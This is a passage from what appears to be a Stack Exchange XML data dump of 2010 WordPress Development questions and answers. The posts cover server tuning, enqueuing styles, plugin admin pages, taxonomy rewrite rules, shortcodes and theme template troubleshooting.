rewrite)&lt;/li&gt;&#xA;&lt;li&gt;Restart apache2 /etc/init.d/apache2 restart&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can do some other things as well, like install Shorewall, or UFW for better firewall management, install Nginx as a reverse proxy to apache, tweaking the query cache, but this really depends on a whole bunch of other things, and you should tweak mysql settings after being in production mode for a few days. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-11-30T09:42:33.110" CommentCount="2" />
  <row Id="4673" PostTypeId="1" AcceptedAnswerId="4676" CreationDate="2010-11-30T09:56:55.810" Score="1" ViewCount="750" Body="&lt;p&gt;I'm writing (rewriting) my plugin to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('jquery');&#xA;wp_enqueue_script('jquery-ui-dialog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which is great!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to use the dialog I need to load a jquery style sheet with wp_enqueue_style, is there a way to load a built-in style, similar to the way you can load the built in scripts (as seen above)? Or do I need to make a call to an external resource?&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2011-08-11T15:41:08.777" Title="wp_enqueue_style built in styles" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;api&gt;&lt;stylesheet&gt;" AnswerCount="2" />
  <row Id="4674" PostTypeId="2" ParentId="4664" CreationDate="2010-11-30T10:05:52.870" Score="2" ViewCount="" Body="&lt;p&gt;At the risk of not answering the question (which Vid did quite well), may I suggest that you switch to a VPS host that offers to do the system administration for you (usually at no charge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of &lt;a href=&quot;http://hub.org&quot; rel=&quot;nofollow&quot;&gt;http://hub.org&lt;/a&gt; specifically. Marc (the guy who runs it, and one of the original four who created PostgreSQL) is the best system admin I've ever come across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hub's control panel (it's not CPanel) is being redone as I'm writing this; its merit is to feature only what end users are supposed to be worrying about. The rest, in essence, is subject to opening a support ticket and requesting that it be taken care of. (Of course, you can do whatever you feel like it as root if you know your way around the shell...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and... I should mention that Marc is the kind of guy who actually digs into your scripts and points the bug out if he suspects that is what is triggering server issues. I know of no other host who does that...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-30T10:05:52.870" CommentCount="2" />
  <row Id="4675" PostTypeId="2" ParentId="4664" CreationDate="2010-11-30T10:37:06.440" Score="0" ViewCount="" Body="&lt;p&gt;Some Ideas: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like WP-Super-Cache because it does not really solve the problem of slow dynamic page generation times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a dedicated server only for wordpress I would not make any compromises:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nginx+php-fpm (you can also use Apache with fcgid and suexec (this also solves most of the permission problems) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the APC opcode cache &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the apc cache backend: &lt;a href=&quot;http://wordpress.org/extend/plugins/apc/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/apc/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install batcache for a page-cache it will use the apc backend.&#xA;.&#xA;Configure the MySQL query cache and take a look the key_buffer value if you are using MyISAM tables or the innodb_buffer_pool_size. If you are having a lot of comments/updates to your blog consider using InnoDB as a storage engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a heavy used VPS I have about 150ms page generation time for dynamic pages (not cached before) and if batcache delivers the page it is only 1ms. So you can serve up to 200-300req/s with a &quot;normal&quot; VPS. &lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2010-11-30T10:37:06.440" />
  <row Id="4676" PostTypeId="2" ParentId="4673" CreationDate="2010-11-30T10:38:14.937" Score="4" ViewCount="" Body="&lt;p&gt;I'm a little confused by your question, can you not simply use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt;, which you actually wrote into this threads heading(not sure if you know the function exists or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_enqueue_style&lt;/code&gt; works in the same way as the &lt;code&gt;wp_enqueue_script&lt;/code&gt; counterpart, but of course as you'd expect, enqueues stylesheets..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of the enqueues i was able to find in WordPress core(those you can use without needing to register them or declare paths to).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'global' );&#xA;wp_enqueue_style( 'wp-admin' );&#xA;wp_enqueue_style( 'colors' );&#xA;wp_enqueue_style( 'media' );&#xA;wp_enqueue_style( 'ie' );&#xA;wp_enqueue_style( 'imgareaselect' );&#xA;wp_enqueue_style( 'imgareaselect' );&#xA;wp_enqueue_style( 'plugin-install' );&#xA;wp_enqueue_style( 'press-this' );&#xA;wp_enqueue_style( 'press-this-ie');&#xA;wp_enqueue_style( 'colors' );&#xA;wp_enqueue_style( 'theme-install' );&#xA;wp_enqueue_style( 'thickbox' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beyond those above you'll need to declare the path inside the enqueue(because it's not a registered style), as you would for scripts..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'myPluginStylesheet', WP_PLUGIN_URL . '/myPlugin/stylesheet.css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or register the style..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_style( 'myPluginStylesheet', WP_PLUGIN_URL . '/myPlugin/stylesheet.css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..then call it when needed..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'myPluginStylesheet' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using this on one plugin page, the registration part is a little pointless, and it's probably easier to declare the path straight inside the enqueue.. (you really only need register a script or style if it's going to be called in more than one place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's the information you're looking for... ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-30T10:38:14.937" CommentCount="4" />
  <row Id="4677" PostTypeId="1" CreationDate="2010-11-30T10:42:38.487" Score="2" ViewCount="265" Body="&lt;p&gt;OK Full Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//check to see whether the user is an admin or not.&#xA;if (is_admin()) {&#xA;&#xA;&#xA;function wpsc_display_products_seo(){&#xA;global $wpdb;&#xA;$productList = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM &quot; . WPSC_TABLE_PRODUCT_LIST . &quot; ORDER BY name ASC&quot;);&#xA;echo  get_admin_page_parent(); &#xA;&#xA;$path = 'admin.php?page=wpsc_product_seo_details';&#xA;$url = admin_url($path);&#xA;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php _e('Products List','wpsc'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Below is a list of products. Select a product to edit it's SEO properties.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;Product Name&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;Meta Title&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;Meta Description&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;Edit&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;?php if($productList) : ?&amp;gt;&#xA;            &amp;lt;?php foreach($productList as $product) : ?&amp;gt;&#xA;                &amp;lt;?php $meta = getProductMeta($product-&amp;gt;id); ?&amp;gt;&#xA;                &amp;lt;tr style=&quot;background:#fff;&quot;&amp;gt;&#xA;                    &amp;lt;td width=&quot;200&quot;&amp;gt;&amp;lt;?php echo $product-&amp;gt;name; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;300&quot;&amp;gt;&amp;lt;?php getVal($meta, 'meta_title'); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;200&quot;&amp;gt;&amp;lt;?php getVal($meta, 'meta_description'); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;200&quot;&amp;gt;&amp;lt;?php getVal($meta, 'meta_keywords'); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;200&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $url; ?&amp;gt;&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;&#xA;function wpsc_product_seo_details()&#xA;{&#xA;    echo &quot;&amp;lt;h2&amp;gt;Hello&amp;lt;/h2&amp;gt;&quot;;&#xA;}&#xA;&#xA;function getProductMeta($id)&#xA;{&#xA;    global $wpdb;&#xA;    $meta = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM &quot; . WPSC_TABLE_PRODUCT_META . &quot; WHERE product_id = $id&quot;);&#xA;    if($meta)&#xA;    {&#xA;        return $meta;&#xA;    } else {&#xA;        return null;&#xA;    }&#xA;}&#xA;&#xA;function getVal($RS, $key)&#xA;{&#xA;    if($RS)&#xA;    {&#xA;        if (property_exists($RS, $key))&#xA;        {&#xA;            return $RS-&amp;gt;$key;&#xA;        } &#xA;    }&#xA;    return null;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;    function wpsc_add_seo_admin_pages($page_hooks, $base_page) {&#xA;        $page_hooks[] =  add_submenu_page($base_page, __('SEO For Products','wpsc'),  __('SEO For Products','wpsc'), 7, 'wpsc-module-seo', 'wpsc_display_products_seo');&#xA;        return $page_hooks;&#xA;    }&#xA;    add_filter('wpsc_additional_pages', 'wpsc_add_seo_admin_pages',10, 2);&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;OLD POST&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hi Guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently writing a plugin for my client in wordpress. The issue I am having is when a user clicks on edit to change a record I am not sure how to create the admin link to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_bloginfo('url'); ?&amp;gt;/wp-admin/admin.php?page=wpsc_product_seo_details&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;function wpsc_product_seo_details()&#xA;{&#xA;    echo &quot;&amp;lt;h2&amp;gt;Hello&amp;lt;/h2&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know my markup for the tag is probably wrong but I was just testing. Do I need to register a hook to do this.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-06T13:26:57.843" Title="How to create and link to administration page for a plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="2" />
  <row Id="4678" PostTypeId="2" ParentId="4663" CreationDate="2010-11-30T10:51:33.370" Score="3" ViewCount="" Body="&lt;p&gt;What you want is &lt;strong&gt;an index page for custom taxonomies&lt;/strong&gt;. There is &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13816&quot; rel=&quot;nofollow&quot;&gt;a ticket for that&lt;/a&gt;, but it's not clear what is the most obvious thing to show on this page: 1) a list of all posts attached to any term of that taxonomy, or 2) a list of all terms of this taxonomy? Remember that &lt;code&gt;category&lt;/code&gt; is also a taxonomy, but it is assumed that all posts fall under at least one category (with &lt;code&gt;Uncategorized&lt;/code&gt; as the default). In that case, option 1 would be the same as the regular post query, and option 2 might make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related issue of an index page for custom &lt;em&gt;post types&lt;/em&gt; &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13818&quot; rel=&quot;nofollow&quot;&gt;will be fixed in the upcoming 3.1 release&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried something myself, and instead of interfering with the &lt;code&gt;request&lt;/code&gt; hook, I think the better way to do this is adding a new rewrite rule and modifying the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse4663_init' );&#xA;function wpse4663_init()&#xA;{&#xA;    // The custom taxonomy rewrite rules end up at the top of the rewrite array&#xA;    register_taxonomy(&#xA;        'wpse4663',&#xA;        array( 'post' ),&#xA;        array(&#xA;            'label' =&amp;gt; 'WPSE 4663',&#xA;        )&#xA;    );&#xA;&#xA;    // So there probably is no danger in adding this specific rewrite rule there too&#xA;    // We re-use the existing `taxonomy` query var, but with no `term`&#xA;    // We clean this up in `parse_query`, otherwise get_posts() complains&#xA;    // You could make this work for all taxonomies (categories, tags, ...) by doing this repeatedly&#xA;    // But then it's probably better to do this in the `rewrite_rules_array` filter&#xA;    add_rewrite_rule( 'wpse4663(/page/([0-9]+))?/?$', 'index.php?taxonomy=wpse4663&amp;amp;paged=$matches[2]', 'top' );&#xA;}&#xA;&#xA;add_filter( 'parse_query', 'wpse4663_parse_query' );&#xA;function wpse4663_parse_query( &amp;amp;$wp_query )&#xA;{&#xA;    // is_tax is only true if both a taxonomy and a term are set, otherwise is_home is true&#xA;    // But we don't want that: is_tax and is_archive should be true, is_home should be false&#xA;    if ( !$wp_query-&amp;gt;is_tax &amp;amp;&amp;amp; $taxonomy_query = $wp_query-&amp;gt;get( 'taxonomy' ) ) {&#xA;        foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy =&amp;gt; $t ) {&#xA;            if ( $t-&amp;gt;query_var &amp;amp;&amp;amp; $taxonomy_query == $t-&amp;gt;query_var ) {&#xA;                // Make sure the conditional tags work, so the right template is loaded&#xA;                $wp_query-&amp;gt;is_tax = true;&#xA;                $wp_query-&amp;gt;is_archive = true;&#xA;                $wp_query-&amp;gt;is_home = false;&#xA;&#xA;                // Make is_tax($taxonomy) work&#xA;                $wp_query-&amp;gt;queried_object = $t;&#xA;                $wp_query-&amp;gt;queried_object-&amp;gt;taxonomy = $taxonomy;&#xA;&#xA;                // If term is null, get_terms (query.php line 2043) will get all terms of this taxonomy&#xA;                $wp_query-&amp;gt;set( 'term', null );&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-30T10:51:33.370" />
  <row Id="4679" PostTypeId="2" ParentId="4677" CreationDate="2010-11-30T10:54:31.933" Score="2" ViewCount="" Body="&lt;p&gt;I am not sure what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin links can be conveniently created with &lt;code&gt;admin_url()&lt;/code&gt; function, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = 'admin.php?page=wpsc_product_seo_details';&#xA;$url = admin_url($path);&#xA;$link = &quot;&amp;lt;a href='{$url}'&amp;gt;Edit&amp;lt;/a&amp;gt;&quot;;&#xA;echo $link;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What exactly do you have problem with?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-30T10:54:31.933" CommentCount="3" />
  <row Id="4680" PostTypeId="2" ParentId="4677" CreationDate="2010-11-30T10:57:45.877" Score="2" ViewCount="" Body="&lt;p&gt;Do you have problems &lt;a href=&quot;http://codex.wordpress.org/Adding_Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;creating the administration page&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'wpse4677_admin_menu' );&#xA;function wpse4677_admin_menu()&#xA;{&#xA;    add_options_page(&#xA;        'WPSE 4677 Page title',&#xA;        'WPSE 4677 Menu item title',&#xA;        'manage_options', // Minimum capability to view this page&#xA;        'wpse4677-page-identifier', // Unique identifier&#xA;        'wpse4677_page_content' // Callback function to get the contents&#xA;    );&#xA;}&#xA;&#xA;function wpse4677_page_content()&#xA;{&#xA;    echo '&amp;lt;div class=&quot;wrap&quot;&amp;gt;';&#xA;    echo '&amp;lt;h2&amp;gt;Welcome to my page!&amp;lt;/h2&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-30T10:57:45.877" CommentCount="1" />
  <row Id="4681" PostTypeId="2" ParentId="4668" CreationDate="2010-11-30T11:09:24.360" Score="1" ViewCount="" Body="&lt;p&gt;If you want to display a list of all terms in a taxonomy, you can call &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories()&lt;/code&gt;&lt;/a&gt; and pass the &lt;code&gt;taxonomy&lt;/code&gt; argument to get anything other than the categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( array(&#xA;    'taxonomy' =&amp;gt; 'your-taxonomy'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use a shortcode for this, so you can use it in your post content, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_shortcode()&lt;/code&gt;&lt;/a&gt;. This untested example code allows you to use &lt;code&gt;[taxonomy_terms]&lt;/code&gt; or &lt;code&gt;[taxonomy_terms taxonomy=my-taxonomy]&lt;/code&gt; in your content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode( 'taxonomy_terms', 'wpse4668_taxonomies' );&#xA;function wpse4668_taxonomies( $atts )&#xA;{&#xA;    // Sanitize our input&#xA;    $atts = shortcode_atts( array(&#xA;        'taxonomy' =&amp;gt; 'your-default-taxonomy',&#xA;    ), $atts );&#xA;    // Don't echo the output, just return it&#xA;    $atts['echo'] = 0;&#xA;&#xA;    return wp_list_categories( $atts );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-30T11:09:24.360" CommentCount="5" />
  <row Id="4682" PostTypeId="2" ParentId="4671" CreationDate="2010-11-30T11:23:48.423" Score="3" ViewCount="" Body="&lt;p&gt;The WordPress admin area uses &lt;a href=&quot;http://jquery.com/demo/thickbox/&quot; rel=&quot;nofollow&quot;&gt;Thickbox&lt;/a&gt;, which is still a jQuery plugin (jQuery is used all over the admin area). You need to enqueue the script and style (&lt;code&gt;add_thickbox()&lt;/code&gt; does this for you), and then all links that have class &lt;code&gt;thickbox&lt;/code&gt; will be converted. You need to add some URL parameters too, for example the image upload link looks like this: &lt;code&gt;media-upload.php?post_id=735&amp;amp;type=image&amp;amp;TB_iframe=1&amp;amp;width=640&amp;amp;height=285&lt;/code&gt;. &lt;code&gt;post_id&lt;/code&gt; and &lt;code&gt;type&lt;/code&gt; are WordPress-specific, but &lt;code&gt;TB_iframe&lt;/code&gt;, &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; are needed for Thickbox, and you should use them in your own links too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-30T11:31:44.880" LastActivityDate="2010-11-30T11:31:44.880" />
  <row Id="4684" PostTypeId="2" ParentId="4658" CreationDate="2010-11-30T11:43:08.633" Score="2" ViewCount="" Body="&lt;p&gt;Your template code includes &lt;code&gt;$wpdb-&amp;gt;print_error()&lt;/code&gt;. This function prints the last database error between &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; brackets, and the executed SQL code. But if there is no error, you just see the empty brackets and the SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wpdb-&amp;gt;show_errors()&lt;/code&gt; is used to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Show_and_Hide_SQL_Errors&quot; rel=&quot;nofollow&quot;&gt;enable displaying of database errors&lt;/a&gt;. If you want to see all database errors, you can just call this function somewhere higher in your code (in your &lt;code&gt;functions.php&lt;/code&gt;, or in a plugin). You probably only want to do this when you are in debug mode, so it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( WP_DEBUG ) {&#xA;    $wpdb-&amp;gt;show_errors();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-30T11:43:08.633" CommentCount="1" />
  <row Id="4685" PostTypeId="2" ParentId="4677" CreationDate="2010-11-30T11:47:24.670" Score="2" ViewCount="" Body="&lt;p&gt;Resolved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to overcomplicate things when a simple conditional would of done the trick in the main function called from the page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsc_display_products_seo(){&#xA;&#xA;    if($_GET['pid'] != &quot;&quot;) &#xA;    {&#xA;        renderProductForm();&#xA;    } else {&#xA;        renderProductList();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-30T11:47:24.670" />
  <row Id="4686" PostTypeId="2" ParentId="4638" CreationDate="2010-11-30T14:29:00.153" Score="6" ViewCount="" Body="&lt;p&gt;From: &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API#Limitations&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API#Limitations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The shortcode parser correctly deals with nested shortcode macros, provided their handler functions support it by recursively calling do_shortcode()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will not let you nest the same shortcode inside another though:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However the parser will fail if a shortcode macro is used to enclose another macro of the same name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you won't be doing so, here is a contrived example of what you need to do in your shortcode callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function paragraph_wrap($atts, $content) {&#xA;&#xA;     // if there are nested shortcodes - handle them&#xA;     $content = do_shortcode($content);&#xA;&#xA;     // wrap content in a paragraph tag&#xA;     $paragraphed = '&amp;lt;p&amp;gt;' . $content . '&amp;lt;/p&amp;gt;';&#xA;&#xA;     return $paragraphed;&#xA;}&#xA;add_shortcode('wrap_p', 'paragraph_wrap');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1579" LastActivityDate="2010-11-30T14:29:00.153" />
  <row Id="4687" PostTypeId="2" ParentId="4677" CreationDate="2010-11-30T14:54:45.220" Score="2" ViewCount="" Body="&lt;p&gt;Just some information to tag onto the discussion, and this may be useful to you later..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're on a plugin page, various admin variables are set, you can build a base URL from those variables and generate links from there, assuming you want them to point at the current plugin page..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $pagenow, $plugin_page;&#xA;$this_page = add_query_arg( 'page', $plugin_page, admin_url( $pagenow ) );&#xA;/* &#xA;   Example URL&#xA;   themes.php?page=custom-background &#xA;&#xA;   $pagenow     - themes.php&#xA;   $plugin_page - custom-background&#xA;&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Want to add your own query vars onto that URL, simply add them to the variable created above using  &lt;code&gt;add_query_arg&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$edit_link = add_query_arg( 'edit_id', $id, $this_page );&#xA;/*&#xA;   Example only, $id would need to come from your code&#xA;   and $edit_link generated appropriately for each result you display&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should work in theory at least, i didn't test the code, but i see no reason it wouldn't work.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-06T13:26:57.843" LastActivityDate="2011-07-06T13:26:57.843" CommentCount="6" />
  <row Id="4688" PostTypeId="2" ParentId="4638" CreationDate="2010-11-30T15:02:44.017" Score="2" ViewCount="" Body="&lt;p&gt;Just a guess. get_shortcode_regex() only works for registered shortcodes. So just in case you have not registered &quot;your&quot; shortcode it does not even work for simple shortcodes. So this might be - in case you did not register it - the cause of your problem in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcode handling is specified in the &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Shortcode API&lt;/a&gt;, examples how to register shortcodes are given on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_shortcode&quot; rel=&quot;nofollow&quot;&gt;add_shortcode() Codex page&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function baztag_func($atts, $content=) {&#xA;    return &quot;content = $content&quot;;&#xA;}&#xA;add_shortcode('baztag', 'baztag_func');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For nested codes, Jeff has already answered how this works. So this is basically a smaller example that shows how to add a shortcode. After using &lt;code&gt;add_shortcode()&lt;/code&gt;, &lt;code&gt;get_shortcode_regex()&lt;/code&gt; will return a regular expression that actually covers the registered shortcode name. Otherwise it just won't match.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-30T15:02:44.017" />
  <row Id="4689" PostTypeId="1" CreationDate="2010-11-30T15:55:09.380" Score="0" ViewCount="343" Body="&lt;p&gt;Here is my index.php file, for some reason the footer.php isn't being loaded through &lt;/p&gt;&#xA;&#xA;&lt;p&gt;really weird, its in the directory of my theme, what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA; &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA; &amp;lt;?php query_posts('cat=-15'); ?&amp;gt;&#xA; &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;  &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;?php&#xA;     if ( has_post_thumbnail() ) { ?&amp;gt;&#xA;     &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;?php } else {&#xA;     } ?&amp;gt;     &#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;  &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&amp;lt;!--//content--&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1531" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-30T17:17:34.567" LastActivityDate="2010-12-02T10:00:50.337" Title="Footer.php not showing?" Tags="&lt;template&gt;" AnswerCount="2" CommentCount="7" />
